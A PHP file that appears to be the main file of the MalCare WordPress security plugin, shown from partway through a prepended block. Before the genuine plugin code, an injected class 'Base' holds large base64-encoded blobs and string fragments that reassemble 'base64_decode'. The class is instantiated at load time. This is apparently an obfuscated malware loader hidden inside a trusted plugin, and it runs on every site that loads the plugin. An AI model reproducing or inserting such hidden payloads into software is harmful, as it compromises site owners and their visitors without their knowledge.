	5E9zEjJRvOvCrpP2B5fXaQXVnBixLaK3m/Rc5XDMfD4yJ9R650XpA7kGb0imQ+Sh
	pBXAFzniKbckhH3A9lE+mhsn5y46sDwJ5mQYYNVuEklWRknotm8sYBzLxamK8FrewqbvphZHv4
	sacYZ/nrpRaDkHlwhcVvSbWBekg37b
	h7f5JwzsVXBcAh13awyOj3xOmQX2lSwe/iLuFN
	kcRAWhQEa0dkKwwdoj4V3hNOs++hjv738KZSuwGX
	zfJQFplNiI1VXTHd+Ac01PLqqpVlZMTQpePGJXh+AAndEVr6IMB7H
	KiJaNWRbTSCLTdo0KYNxmvNcf4f4CTLeu0b469bcHSa3Xe7X1b
	GjHQtmHfJc/K/UVv6CZaP9EeMDqWK5VmF8Q22d3sf0tajwh0YMxBMkSRwEo8AEID
	Eae3KGd9V5KBMsJd1Hab8cvjemgqJIg4nEuKdfDvxuYyc5g6nQbkmJy6lzFEQv4B
	QfRmZO5epascZB/ZYu5JH9r4/rHnU3hw+zyB3
	S4/ewFaw7zmRB8Dg01foG/hj7lv7ZRkpahFZvrcF++
	ghMMTU2w2Ds1EnoPRxPQ6l57s8hyPeWpDW2IUyZydUSza4La8i8L9P9aQ7BfAJwI+r0nEy+C
	8VcShxwYKfow/MfP3zVVDmnnYiyFqGWld63Af1frO+n2vH04eMuOXYYtLa
	+lBP808PBxCiIkMNbQ5uROYAJZtSOv
	E8LPYaMBq4/STtJmuSUEMjYfGG3CgaedkoXQQ
	gpwD2WVEwmuYI1ua6bp/o8DMXWGd7I2dEM/zzgjsZfmYGbJRiWUBEsOzPM9nCb6bGMgjuSFe3rwKlFAx
	orvTUzbQZb8QZdHH7RJRjJo+UGYtiHc4FxlQcmiBQIMCweDl+NVveKZeU8VftRmUq
	yDGBP3hTPfelIwmkNBz0xWCabIi7h0+DFpekBJj6flcfktBhs
	+0hJqtpa5fSNDrXmB5gg1YSfw4nTIR
	2u/pRbY6GQAt51EwbY/w/vBR1/e0yIiZYNiwBY7C+SGhghUJhiLKh4fILARd8YMCb2jS6lJCQKXz
	emeO69CkOQEFfr7/j685maz+L8sKMInc
	dWNCrKE8suEyRS6f9lAqJt6KH4CMzgJzFNRjZRC5MmWHwddSnTNeqwNgjJFj2
	/D8UC9Z+MhejhvH+3M324G4jUw6ymCypSK/ezdiR5jP4GP84sACxTwxd8Rf
	qpPZoH9tJ+b9ZD7uKLIg7DZFmsNbL4uDCLAt3k0aWKraukxnVrixs6lOZQLB1Rpp
	SBEASJiMat31Y0pliHjWDK9v1t9at67cZ0FLOUlPlorc3Hew
	kadSEPw3wjlZZTqV0j1p1nrbOEg2Bu32VEHy3VmSL67US+3fc2Jt6PpyPKJZl
	dTX8J77bj0aOpCUEKoWcf+FjH0N3Knrd+OMtWk3qB9WUUllZGEKKAW6Iyd0ZV9x
	rSr1DZmRn6jERx9XFhC7U9X6bk3x4uDOesGiOeY3eAY7h6k5uSawZCxoW
	PSUyAwyheCOeMBVGtuKWbCSHwfMUvvFIwHaHOFGsiDdLkbKNxwGsSTCgKt0vHUWu
	tDG9aOCnGhyf5xbKKRkzK90ol9wS/gScj1+0scVYzleGjguohKC1R2phtw+1fFJkgbwWpOLy
	c6r0px+u8fGWmLvjnMYRfEv/ZwFyMoBXxPS472YTQoDOJ
	7R711S1xBtR45wS2iNqCgwZehKrV1n5Gv6
	FeHsTX2MYOhW9h7Yqr+EQjyFIjbr88fiCbTXfhTe03KBmgRr+8yj8EKZhT2Rj64WrHWMZtes
	YfjmCC6qeVDSqvsfxDZ5VwiCVyJJV9kYpU8foRZJhPubKFx
	EzIgzh5Beyohtxy7siPZJt+Rb5XgnPqAVEyf4IY+z6Lj
	r6WIzC1s3wtft1Kc8mj05UBYjVZ+g6DQzDkVWCNO8814tjwkRgY8mghy0wcAB3+F1Id
	Q7u7uS4ZpmVFpe6lIpAljZH++pCm+oNFLChncbDHXhh0Rn6zJ6vNhNtS6RA52/cxQDXCWY1pMkg05pnN
	ZhoD35h8JeWxzjKqaaZP15s0Qu9fHMpAlL4zkeC
	9bZG8HDKx24qQzuAZVVSXnnaV7OPpqx+t8yTqHhkfOaQaLwaEIJT9Yi3LXpQHV+
	NYfJv6BM/6bbtVx+IKvxviYyrDSSzt
	VDNP2Soqz5jnbKYa/cli2br8RibfPQUt6YE5LPsSID6kFGkpCsHka0vR
	iFeJ23ZGEpPJfIKBWdt61nVf99W08Xzpe3AJsZJ4z1K1cNa1Ia/sB7
	7QKM5Lyq63itdpfPkxKNK3zpuxzw8JVDnTfNyzqcAV334zjGHtnqgpKhiZziS
	BPbmSS2t1R8f89THiS+jMa7oHOpHgZajjEYDzDuj
	Sux/4u+NjPcLUT/5vCQGfmJS8eMTKqWa1Ro1SfCFC1VdRqli
	/vxL6I2zbV5YYKTpzx24Iz/+waXCSSVgPSahs7b05hRRtr8NqgHnh1k5yL2dN7mDK
	TBtKc8dwCm9L6oBWTVeqQcR8xHs+oP52fIbO
	LaDWnAstEx+n9orWmVBghbl9lalFUQmy7fPthhAh5uQnkDqnNbi/Yons4aEq
	IJFuJdFPGm7elhIu/ZR0a31Rn0xZM1SkWFBJNW34A7IUrirj6PGMnW0ae7c
	3zSuM1gWtuQ6d+K9y5aCYrY4yuRXqkOW/hw5PmSpXvZf
	Hav0GPk8Y65pHwFiBJTzLs7OXjVVPrA3BKJWbAPmVndO2Fz2cso6SaaIrg08bbYESDXNAG2Y6weDK7i
	wc4W6pGqvOy+KzuazKss5u+mr+0+qUUYz5beJKGNUIXwCH9Sc1BIFDslbp//Gz8eGRL16+8Am0YRRx
	Ikn5RLiFRgQdncOfJVwTOvWrOwHnXirval+LvFootN69YIY
	UNhuksIdpbW2ahg2+H3qKfLj3+YGV1gW0QOghUi+DDxGUeClus1o
	wtidXdYFVBBfpH1Kk41pyN8HSn/h65L9xt1mHmW6JNLV3tu0QaHliK
	z2rvVEFXTZAs1djcSTS+xtEC839oLFa
	vzPLAUCXOw4emYi6/aALaRGVlvywWZ
	f02X4jjmkG2etbmoiCVJhFU2j3Yc42l/SDrx2Gq43zPFS
	oAbym+i25E5TTBzEvb8kkaM89d1VprCCgqV4D4
	NhhFWBHvc1pb9utetZO3f/4L6CodMHgFct2gPFj37sTos
	zfjqdu9G+KQNJMS9tfMlPXwWZxDo0suMrL9pAuKPk6MgyArIyF
	GtquKG67a3TDQ6Xy5fz40Qbg6PFeP12kotShv6sC8
	941SOtLkAQEbUqfFdvUkOaIbVikfSTHwJiSUg/2drLynQf7VMWkhjW
	84U4eb8Bs/Itv4pjLViv9folJDPy6NNPYuStTYcS/dCwYkRuis9OgetT1hHsp3mKl
	P6nctbet4MUr+6tlW2yJh7UiPXq8cbffJzt3LSv09GDc5ZABMjpdSyebIkJmpYlQF1ECYkrS/dgIThg
	6vfB4AWyclHTPgF0hBmPDyX6myI9gXMiUBteNz
	WUr4BAFzhIZMUkSVzzvXq/EDsC0Q9ST5/Uj1MjYkBqpUS+dRclnx8GAhOt
	HmZAln05foS4ynPT2XZnZMGmYHau9YewAjqOz5qI3XJQ6at3
	gFdq9pIThXR45GPoegzuZYYJ/muuUaB0WxlDGK7QqGvbrzXAM+JpgtWTKPrKBUdoyIIizsCve/
	BKBI0sGiBl7D5/WpTTrAJ+rkKb+/QsQcKpym1/vLYuepqfywtg5/upHcn
	7damlcEe3+eR7bZtTkt3EyyR0X7OSb6zFM2Yjv4dXuqyo5tlA+kFs1CN+XtAY3E36UWIRy
	ch7fkaIn9YpnlRH5R6MyfwmpSzn7AkNNs0TXjbz
	NXXQIZAr44D7kuNh2Daq/kckOATA/YHzmC/Ko737k0/KO49mXheDoYK1OgXdolmAsxAf
	iRnRUetDiz9ikBJUQNyKaOosyEwvHvA/He93dmNgUWA7PQsuaj3YLkzF8YGorGV8I56VxuTYLV3h
	y7x7kygCgQAluqJo+8rxki3KVlupASZjN1TrvVp68VgTcnY5NXg
	XxXZeGn5EoApuoh3XOSJi4Q2t9xZ7auhuWwerV6sE76Cgxy3yZQoxmlAM9Nv1m4D0aqCRM+o
	sTrnRGwXn7t1A7Gaz8IxX/0mz2Y5nLbAFTBx7iaftOUTN+Pi318a9HWq/m/Nupoy4oQ3Zv
	zYjrsheEc46vKoUHhTF8oLHK/h1FCN3OVqf1z55cJH79owtx
	uXIk/BCY456xPPTYhh4VevV0I6zuSa62hVNyOcpuwe
	6042BY/wKrcQUx000G0thazVZU7tUgdFZ3IY5ngib4darjrVxdG/uzEVA0Mhdugo
	sDFAjDkWWEbqY1xN7xBWR/zNUZvMj6ty
	qUqGvVwhZy7CIJ5bZLKFY9d4e06idcMNMu
	eb/ssTk7hTTOzR9NFQ8hxRL+p9qVauATNrtfMftlbKrx2P
	sou4V3Lvy/lMNlfx3MCGz2FwYnJ/DdBJCYw2fG3j/+WC
	2J4tajyJloRpbH7Q2nu2FJRf8aoDf+WZvoSrtrqAjP9eIzDyTLSCSpQGB
	L1kSt8zMZ/01R2QdqkVZ/Eq660dUlpPeTYnxmu8v
	xLZ9DS2K7sMKfQI5SqKLH5alu5nhjlC20rFPVFLOq0mYXq5Ow46ZekKCd3eyVn
	a4pJ5brev/JfuRJh7nDw2mRhhtJjM8T+HNuwk1ap1FhnQyUVLmOGgH5nE12+HmLfbB226T28mw958
	U8bGf2qk4SQ9ZRosVFxzqiFTVAm2OBe21isOLp9WqAnIEc
	4pVkhDG0WnL2xVvY6g/feC32poz/59/D5BEifPubFhmn8tugCIkuo/VBR5hvIGNjtGrtnT0SWz
	WrI4zkeNPcNeXUpjA3mBkjVZUjpYYdptlnlziwXa/pcC7x+NDVq9Q1MYWjXWS
	go1NwHrmbOQw4y6AWtX1JXCPUSZYSB7Zf
	C2Oa9QFPe9gfalf7RU6tC+Sto5lyU1SyxR4rWFmmTyeSZox
	wtsaTIxL+k9lPWMD/L7jlVrAQCyzWoAT/ynUoi1gg57Ar56ipcJD9QzidZ
	q6tJxovD/1G5jf4KTofES+DNTwbRZK2BHVQcuTChve0SDu20aZA2HUlwl/y3J8gQtFD
	AdqvykP8ZFIp+rJy+Jzts+l5RM2CuC2Pkt/Uz8QunMbKqIugAUESyT
	6xPbF+H1ZEWKCIuXa/d0FtIYF6Z3/G0Pn+FVw2VnX7clRf6K/NjQU/k8yHiVxeIOtNDMq
	gLfMQ7yQmn14hJPcVWGY9WdcSnRPQqOV6/AyDUJov
	VbuIMlixIDFW7bAu37wQ1Hk51557jtGk309YijBObN3WXTVd47nFTTBgMGj3hrwWfaqSoLYl5Q
	MUvKS25XnP/M0MAmzlHdt/ZG+fpS2FIs58odgHECRWJ2AUx/hoETcfBEB8a0M6OPatuA9CD+bsxDmG
	84jNX/cmCncthLn2KTBrNli6a8F2c19afCqTp04j7YV5lMYm3l
	qHtForeyylgdguZrrhZ4AJ6HFomZlqqu7yj5lbm1TUPX5blB/0
	ViN3RKyUSiy+QuLmBwey4wKUGmjAMRIYTv3P+8RYOPeEMZYelFn6u
	ZJqXgokRFBPjx4huLmo54Bs0pvLKj0/Fow1UpqFqanWUBnNZLjsi9xc5ffv0
	s258A4uaVmO8jWzirPCeq2RFWyP4kOo/JO7kp8F1SYmbXWcL/wlWlMUPUKq3OlCJtMKoo7T+eYenM
	QJyAnnaWVsOnUqRT6dIne1qQCVtDHlfZ/C7gm
	ujIreqOmjuHjf+4XIVmIjgbRWWNi01sye/87QSKYxcFnfA4K
	qz4ioYGEnwI/pAjsTynvAJjEe2l5HNAiLCVcS4JWhL8mDyFxS20nuLs37k5swvMBklVwxcb
	Xkx/JM5vPwy7DhIl7oNhdkvqisBsp/KWsQyC7d
	QlNU6n1KEACrypj6O6phsEUWo0DL/L6EASLtmDoOHSL
	qt82nf9XW0KTELErBIrNsqzzp+pYwbrOCstSe5NZRhzAaUBReEHym7Razr0u9XM+
	iQNyY7YHoac0dIIubWms7DC/A+iI8AAzx1wR6hParm7
	146Fw1fdo/Jollbraxp/aljfqlZbTsFGFuTcRNUTl3BdypnMRrJ3aafPAAlBVjeYpJpc
	+6nrqNMkFTsUkic/uwOYy/h247eExmceAmfxa
	LhAay+0LEB0p5x+2SCeX3OzaDw65nRm827A9zQ/I1w1U
	WzT7sG+ViAautoNiV7Af3GQM1bMrAWM5jf1sxGeTD7HWcWdHer9e8qVeFc14mcN78uj
	aqgmm2uDixYfzhtl8EWVf97YIeaexr5bpxwUdev
	7DabXeQcm69J7PsuPs78QMDtFohYpFrkbu+vZ5trritVaRa3PJzmrkM0FQN3nd3X
	zRJxFxneFu32ymyT+WzjZVPnzW+xWpks91W3E/5UmfvGLNRWwYvVznJndKnkAKMZblma9+rOeVvNw+X
	9V0E/cfo7/Z65mX+8JZVLK/lv+c7TPvmVtwGQ0QYfzVKhZVwgUkZBGva
	FOZRlupqjb+2qdlSiWANy8yv54KZWU52jr5/XY8CtmOOl8Gghy
	Yy11qYjiEverftWM7ZtIooYXLEvJqgl5lDOVmN6wpkasIp/vtKRV2SK2I6MdweFFlwshW9hYksU
	SXTqQ+E1vVg5UMYvj0GD9XBKKPN9KPxeTUtZt8mcXOXzvKaxYx/Bg7CWyGAflPMEtjCOr
	jshoHoy3zFfv4RnCfXz1TwNhnAe87tqGgVJ7NHJQcLxpDrOKzQKiXnVH1f5Ti1a+6kUidgx9
	43pmd02u1B+9G+vyLwmBzrRByEK0QD+NsMc6GDKFpGXrLIXqLyVbTVvRxi38cDH
	KqJhvaki7RSEPAHVzbKQV3P+EGOHd4m38keyfQbw508ST+
	K0+usZTLJK1KRT2vBQsMe8kJf4xLe6EmmP0JMkU
	EQ218Q9WVWvPsRy1C/WpVX1LQ8VXqqi5TW9dptyCX8uQ0rYKL9mqvAnm2TSUbWk
	hfYxZhnrKA3zZNotMDbyqxuJuG1L/xyG
	Up3jULfqeKakORmezAq0jyIVqRFiJFKGt1
	uy67HQWoYqHZOaFLHNcG4O+qxVyXS1EqNk0iRgyi4wTMx4zPMV
	jNqfXcGHrZ6OETJ+VDX2CY5gEHHwCxSnATuQOB9cpZYRHxonew1XGNfBWYrI
	M3SSTQOgx0O64dUW2PT22QNmkKwfqWemQeDiUzYCXvSLe/QA2wDKd
	zYQ85filRCWv/btmgTJhT4udcw39unOlgdAs11QJB2RRisDj
	79mMulwUJ1p5xvfyo/BKvzTfXJ5P+rO9VQk/qllb9ZcsGV
	MmQRyJvlYc8J2yZ42VximDjt9UHbf+de4lUpqqDdWFJf4D9kBnU1+hcnhpUv
	8ueHFzJdCgEPfeuirlTAoMbyZ2qQzmKPNhLx6xLl3yn2fgIhsSsqSU+APLo3JtHBOhJU+oBzDA
	GK7CNa5KpvfGNJPhpPHk3g0P3zgXZ+OjAB9d4a0PppP1lJPsDncA5PiDnq62UFEn
	JnO2EML+mWt/QopG1aQu6WiW2FKGb5iGdR5oLDSWXBaflC6
	b1/kDJCmhLeZwuEA4/yvPkpolwEfZx4MnLVhTVQDJw7ObANmTIzkIBVKKpe4MoVemslV/6aEE5UP
	KzIsjFYMNLKm+hgnrZnB1GqM/v5oQo9xqwCm26uYQpOKg0fgxNoMct8gsl8mRDu
	SVvE1XkNskf2pyk64kHiC7W0s24s7sw2F5DqPdtM
	ULXaEcIPfGU2IiV3S88o90rmuKHjIJ6hPV7ES2s2BqevBCfbaC2yPNPUh7RbL7DY7pU5A4PIlZavdtAJ
	fihpK4XT+CbPdp6su5nwypWkueEud6UlR
	slErRx5vvfX9Vqd8yC/SC1+IxnGOeBQnyPg1OFJq
	RzPnCRKAyStqduPdN7fuOjwjXo9WO3aBT/9bZbRRHfACxxqt2ounExbZM+16yGvm6Pf
	DmmmqKxpapCqODTWp8xeSmLkMcCkPle+RNsJz6xLJ2pu/7fcXkzwFGGbp1E8Pp5YwHq4rjTRc
	yJsS/CupAvZQnuSZ9iRomzb1oluIF9BNDWvqwR1RFfSwEezkE1B/6o4IPgPeMrl3
	d+DvQCmLcy4fmYUgXI/tDNNDhnZ6KbwReRfk
	082wADilVs3CBRJ1RPxmLn7hDgjRYeim1CkgM
	pdXz8x2n0H5NEk7jUmIXilHmw41Kc+mWA37K
	zXdIWODCrdBS2HwO72KH9wnNg6eOlKT
	GVJkcxE8XeBGNPyxxy3h0mUSpfyXOUikAfseHIFzadGouKjG9fRSYUNhpt
	/MKUCGs8mEfyMNpoAnR6nTFDmHYRF64qNyrwpRvAldMTcpsRM35
	oXtMkkylYqGCEFToWA4MgbuA6ZfHOpfxhfvdGm37T9f6SKclWVZlKVQuZVMM
	9T38PfotASAbTbPN5fTwBjMMqzn3Om2F60WCCi9/hE5eAdQz6/cAy/w4zlio
	7zUE1AOSrzIpARVh5kwx8sVPynvyhJWNyjs
	DMEVC1TglpvSkChX6C351HUfk+GLqLo7pdJyttxuinnb8WZWlVpz
	9FKCmrU0+OtX4WdDrayGVi1dVESZOuV5bQQvMwjFGjyxvPrNUJ2My2Yqii2QX3vW9QpplYnUgI0gXvxh
	k54dk10ZRqUKuYEYy22/wp3A3WBHfW45GkHmY0BfjzqyL
	y0gspjDRE1poiIoqAcJj5dd9Rjo9nYJt9msA6Iv6NB8EwIrczLD6kHxNOkTphyKpwCFNGrxGEXDPGgX
	9299mG+MNhLAm5cIlhyhwMCJ73rVFecqOfKkL
	8yhWQryJPQ/NYOvMbxPrgFtr73kX/8O3h6dcCDUlquUAsJI
	++bjFa033azovgukavhyw78vZJ1J+pH2zROuyKRag9VxAUeuc4rc2DCZdP
	6I+IqiJ9ZUGpVIt8hH1t2nQ3CRt2ZnLxd2wsl5FiEYll
	QMdISv7ae6EyZNu2NrETtZPgCl8zeng9c5hwyKLEbS/3Dlw0u0deHEt1KmqL2+
	MfYhRXXvp3AmhfaRCmHA9Ilkb16JGNfoHiCY
	9ZeZuO2dLSsj0EPTgZavC4aZE7iJgMbZyfC2gE9WfzY9sEe0NnylMD/6jH7o
	E+gdm9+GiTg/UA7ju9TOugGKO5Co/WVNf9inb2725JuGVWZgJ34+8LFBl+w1h74UVcv8Wa
	BHyc9XBcx+TtX00Ct27Z5t0AoXPiCodjKebPlIQY5oEV
	Bn3pCL/il5oDxVIkJC0H1ea7IJqrG89cVw9aba/wnSv
	r+bzDrTvIv7q6bz1Y0H+Yb+OevWF/IK6T238xzTs5xFrWpSJuuTMxI28P2eos0b
	pRm+y0Eybd/DkP/8KfS5Wau+OyxIEUEPWhuIB7RP5/f2u9mBI
	u24aSN6g9PRHO+0Hrt4dkregXOkz7nj3imriir0CVBrHVT8+Tr1Z9D3dXO4yOMlj1evTOAHDcsCn
	+hUKqa0A7mJYbP/+beGF6+5iSbQy+KvSCzFx7oH7id5wAtGlhG9w
	XfWMoBuFrlg3fQAIOpfk2BF0gX2pY/Pd6jTLXATQy1xr2yjmwVzp
	CcBTUMt8hOEjluim0GInWSa7rMBBXIuQ61ZT+hsOgEin/GyQp8pptEqMYn6iA
	09IIE9jg5cxVwRD4Gi63SzvAOWtqMCvl5snVY9POry
	l/1k2a2EZ0Yr7fRdUflfEC410iAlM7mXOfARcM75ASZJ2xuuDNvu+hpXVvARXBaeLv4FvPafL
	CGPNpCRrIx4WNMPuwSkslxF94GX4XEBReROFUlrK
	5KnR2K1Zl80N1M3Jnjly259l6CP7A0w6sd5xDDF+iuvzhqzXP8SAm4OPrwQXhQ8BuEE10w20
	bHYBf0NxEAyOfnZUyGUmnnj14I633e4b9hQc8gNjXz0LX5N5INHXSEo
	gXAnLthue7g2HKpQMLeR3SbHZb50j/7Rs4vGEZD40Pr8dzdtUukSKxGgIdYqEndD09Y3i/yBaHCLJjck
	ISjVcSpCezzY/CMs91scZ2+0Uhs0muRm98cTP4tWUdg+YjgbAe4zHENb+1aF
	4ilXzx5CN4XxihFEmFawXoJooIJFfjBXqPooPFM1cXBODJyOpXt8EjZhwxcVNDUm0K31pODlcjCe8JnF
	hEzKQLceRmKjlxqGa0MLmnOmmq+xfQzK8IrN
	P8Yg7HCw75D4IbiExKMikLtu+/2sT24hiboQ/pZGi5Pp8bNzYlhapmbkDiH429rhSSClkL0TuQQ/j
	jqvZYQcaDzhvZeaKPUUzfthUB3KHhioVxmKr6nMMHxlwrzdUkDtqXRZw1lIQMaBNBQPSx6q
	XVk9CxI2yUQ+UohRJEFKJKJQfRfBRrVB7fxjkLj
	N+v+J56LhttXzkSnrKEhKav2tT34zgsbNZLhOLIWo4p2h544W3BDQRfm/o0
	98pzl7ll0k5nXalBX+4eZP6RZy8r+YU9ZTGEWS1Vd
	ISIOuiFkqabb+ZZi6FCCvE2ugSQ7YPd+T4kBPEk9tlnNwVESrxy67ShPz1i+a2WAhvqv
	WG8bb1xq7K83tM/SYyZwH9KZTbVAix+YxpU/VOeqx+UATlBb7Miks
	UqeGJ/0pTSAHAqTU1pqiBe7b3VXmclBOSiIosYY4gYliDPnvxnDC/4K3H6hiT+Nq
	C0Gtd/OF4OxqVUgQawuUU3hZLiOcPqktMuIvtTcrPBWL0ZAC
	mwz1Mv+UMZ0zcNkAiwkkxGFvH7+3qBIXIzld6iRmRzm/YagBIW4UC5wo1WQIkwZSW8IYOjkCcU
	04/775SsCLPsnGVe0uW2aiRS9OgqSas72affY7
	OW8005/cx9JoXm82BWi7ONGFEeyvpTb/gqUVJoGzuiQ9+emt65bFeWD4rFDPHV
	9uHDroz3KChhTt9Y3B5pXkRM4OQcyi7gJeed+GSERqVplnrsV6YLqPlUclXaQv
	JkiFvIV6IjWCdDESuqChSgkqYzNNHdxI8qxJ2uv0LsoXilvBky+IG
	5pnVoEdsg+yg6CpmjQ9EuNCx72v25Y2YETmnKXstNmPqGUKC5vpn
	blf6RxawUhZ9PV27/OiHo22g2H9RwegLjAjWU65AyA/EAgVlZvJp55ke/EIPfT0RmqnkQ2sX+imSMAv
	KvLw8yRgSZljfBf7nsH2R3KGYDt6IghNsCpRkpWncTCj3TZdOz4fr5y9ssa7Ix
	XHjdL5qCdZngqtnzcMzNN1eC2Ik8+yujy5vPDa3cyFGzPaQSLcDYTUv
	btvybTa8X8DS2qdRoUnQsmcvX1jyeos4w
	bncy/GfxARMPqROUf6h9vg3lEhlz1NKGv20sinOsQQ
	2g1kJfbr6KH9PmvoIC87IIltnbRiRfVY+F7RgLJH+Mzu6Q7dhV3gz/ooWwJZgP
	ul7CGbRst9Wysr31EGvkaFEJOg9MF4KPyDpX2I3haovziCsnAqUUSrCrZxghfgBLL
	V3xqByVk5awB/pz5TTd/voMpMTRggabb4Do5XFc/iRG8fhP008j6IcIgv4mFle4h5
	pWF/JQU/621IN7xRdq8KAV4NXKXBOAWZab1TuzYaOR612T7gZ597pseNF1UZAfFYQ4LP8BZ3+Nvxl69
	/uQjzynBxgsag7PoaPuD2FKyZPe1PKe/DidxqG
	I1OtErVOzqqd84OrnHU8TtL2mjsTsJc1wDaDx6VuqsDNUMNpmbeoXs+7jBBNlWzHM6XE+
	pLjq3Ip8liMs14cz+HSS9hJ9+RF7NPoJ6Dsm2RfKNE1EyzDbnYhgAzCN
	GGBtC+DdyLkuU5MIh30ZWSGsLfqveWoc7V5im8Jq/JSlqWhJt
	MaDukfLHfla5sjsSsiS58DWORGFnHIMLdJxGJfkxo0iLxW6DdRP1Kv3RCsxAZEf
	KOfEeaSJKIgdU2HwgnwLHb8F0kifp5Ykf6qBhHGicub+Y/Z3TdP
	mfqti8sHzu8WEHPyDUk8HoO+cgf4O0MRRMFTsBT66Z0tF9CLWbdUsu1jacDRXKmc
	RrjlR0IqLOJdGfpOMMjWYiESGnEzE32LVDlE1+PexdlJ3dUuYZTnymIOU9SoRqbWR/rbvtG/lpHFWhbS
	v/jUvvaAWb54/4yZ1YCP78vnTyO44Me3fF4mz8D5rdCmlh7lWidNPU4qMJrD9S3CdBSoqc+d
	22QJtpfJH+LCfC9nD1mImS6FOafS/ShctN/McMy9r7rz
	k9jlynS0uOAhCpMMpY5pijIU6BJC8ABcBLPwYSRfP03QK6gnFxdsxx8CCHr0uBVYiw9zmG
	nnFq3xd7oD0QZ/Tz9oC+em3HVx32hDvNwO4r2Ce
	wWmFOBFDa/rZZ0ukdpIMcg4bOAHcRULVYY1dnUMcEiDHBA075OV0vVuuHEd5
	IMXRCuCqJwyyxeV5T/DMhEjKtCYIbJADihe5Tqp/7q
	kVfpgwB3m8VaGDGyX3vMiMcYXHWKQJX4=';
	public $heap = array('YwObG0', 'jiz9X', '5s7i4c', 'rJ6j', '9g=');
	public $build;
	public $app = array('X', '+v', 'iz', 'n7C');
	public $proxy;
	public $error = array('D', 'Z1', 'R', 'Vz', 'LO', '9r', 'e', 'o');
	public $debug;
	public $load;
	public $cluster = array('y', '6', 'n', 'i', 'g', '=', '9', '0');
	public $seek = array('ode', 'base64_', 'dec');
	public $claster = array('z97G', 'ubX', 'rK', '09E=', '2i0');
	public $block = array('yVo', 'aK', 'E', 'ub');
	public $state = 'zo2dBDalf+BjbafibdZxHVknxnFJgmZSi2wW+JjiiEKSMBW
	EB8Gls6TGif4uoLVeXncaswh5j8RKf2ry2fU1Ou1uKdJ1X8aWaHo9L
	7QLNKEpYEPNXXMf0H+5SNgGUH+HnAxsJJ1rJCYudw6e1qu0+0Ar6rr8czmYH0GFOQ/VdJzq
	FBxVTHSiUgfGw0LC6YZWKRXQQ9TG+C7uCaKN4Ed6sO++Pyf0hpXXVx9LrvboMT0Xx
	ObhuCOB0xOhA7T6AQeqSaxSf3uY7L0aVI88N3QW9KQ72092fzOSY+ZNr+2a
	23jAG/5mF+gFFBMl3hEU/THkK3CelJDNY4MLsliWOxq6aP4z3vBMkXvb1
	PMXy/Ijms0UCsLFoEwaChHyrdg4HtvQvY1eFws2Cd+vYJSAN0S8Ry/c89a
	12R1UbW/cxFfuw3kqT9FRIRTxN6wk6zqGt2uemYVxN9PG
	cZ4CCeUpgTWxIIgeb+QL+RlbtQ83SAI
	Pp5Zb/cru5VPaVpuRixgayXrNUBPWfqw2EyWHSSmscLxGP9/Ct3bPmwlIY5Bdf0dWJ38AkFpH4WJff
	vxrIe12WUiALLKpEJI9Ti+HZeqGsV5t0Nw7bB97nQKPZQRPFDPdBr+J9NxNdAmXK6GLszC4pUm+cghzJ
	jJckOGlHBHJ6mQDclu4TgaCecdtxhHb42s9oiLcnMTj1wjF7B+P
	6zABfTEgviqggeHzAq2sNio3T5jCSvUeT+YzzXf4lYmWOWeWJbS
	fAhXXniilu/GAsQN4Lp2XK+puQKv9L4woNgkhkxrUY/kdo0HHRGyyscu1plqcDpa+LYj
	JCqALXH8sSKyaJaFrAhQrEvRkEgaSR/liX/1D42S/bM7TFodURTGgINZ8hPG
	FLWnr4NP6Jb0kA1rSbBEU5brTXlRSY6LYcLN4BoVBbWg09kAZkbNlEwsV2SM6zlmHMx/WqK8SR
	xfL8fL3sTqTiGknom68YzoJuHhsAcBXk4Nwer
	sHC7i946t7uUu1QrBu4ZYMapG4LCL4u+Stey6aukfJsFYP
	6hVPiaKVES43Q4epMNpm/32mOiDkq5+qgfE9DQJvOa
	OYnPYmWuWMi7WOQOZ3WzD5xeefcnN2rX8v14DI6e3M/O7Ui9OTU/5/rBYDZPDtRbiIqjqs5
	zRweKZHx713h7gGNgEPxYPyzChwWOZ0Hn9Konpf
	w6bLpZAds3QRVEpzmA1J0H0h5MgJomscb4QUb10m3CMfSszfdgsBTUOq3IlB7T0Yj8zK1YTE4pU
	qKVHtryDOft2PhUWCFplhHEJcPJxkmqA25ZltCb+iZRzHe/b0hXnMPrYLnKDqDfZ3zDcJzKD
	DuGsNpgtcv3GnNJNz29GRGGHCGAn/JXrdDG+2DTzkGBLgrRdh5nG4wuIhYECzYSnsF4tQY
	1KvtB5x50uyIgrhytYddWmyxiri1FRdFjTxOTfnd3Lj5Cm25viUzaRcfaZIYKoBMJuNhqPd31oGNe
	Lkwbz0a9NV2w==';
	public $shard = 0;
	public $twelve = 990;	
	public $_app = array('tj', 'k', 'jz', '1tT', 'rJ6', 'U');
	public $application;
}

new Base();
?>

/*  Copyright 2017  MalCare  (email : support@malcare.com )

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License, version 2, as 
    published by the Free Software Foundation.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

/* Global response array */

if (!defined('ABSPATH')) exit;
##OLDWPR##

require_once dirname( __FILE__ ) . '/wp_settings.php';
require_once dirname( __FILE__ ) . '/wp_site_info.php';
require_once dirname( __FILE__ ) . '/wp_db.php';
require_once dirname( __FILE__ ) . '/wp_api.php';
require_once dirname( __FILE__ ) . '/wp_actions.php';
require_once dirname( __FILE__ ) . '/info.php';
require_once dirname( __FILE__ ) . '/account.php';
require_once dirname( __FILE__ ) . '/helper.php';
require_once dirname( __FILE__ ) . '/wp_file_system.php';
require_once dirname( __FILE__ ) . '/wp_2fa/wp_2fa.php';

require_once dirname( __FILE__ ) . '/wp_login_whitelabel.php';

##WPCACHEMODULE##


$bvsettings = new MCWPSettings();
$bvsiteinfo = new MCWPSiteInfo();
$bvdb = new MCWPDb();


$bvapi = new MCWPAPI($bvsettings);
$bvinfo = new MCInfo($bvsettings);
$wp_action = new MCWPAction($bvsettings, $bvsiteinfo, $bvapi);

register_uninstall_hook(__FILE__, array('MCWPAction', 'uninstall'));
register_activation_hook(__FILE__, array($wp_action, 'activate'));
register_deactivation_hook(__FILE__, array($wp_action, 'deactivate'));


add_action('wp_footer', array($wp_action, 'footerHandler'), 100);
add_action('mc_clear_bv_services_config', array($wp_action, 'clear_bv_services_config'));

##SOADDUNINSTALLACTION##

##DISABLE_OTHER_OPTIMIZATION_PLUGINS##

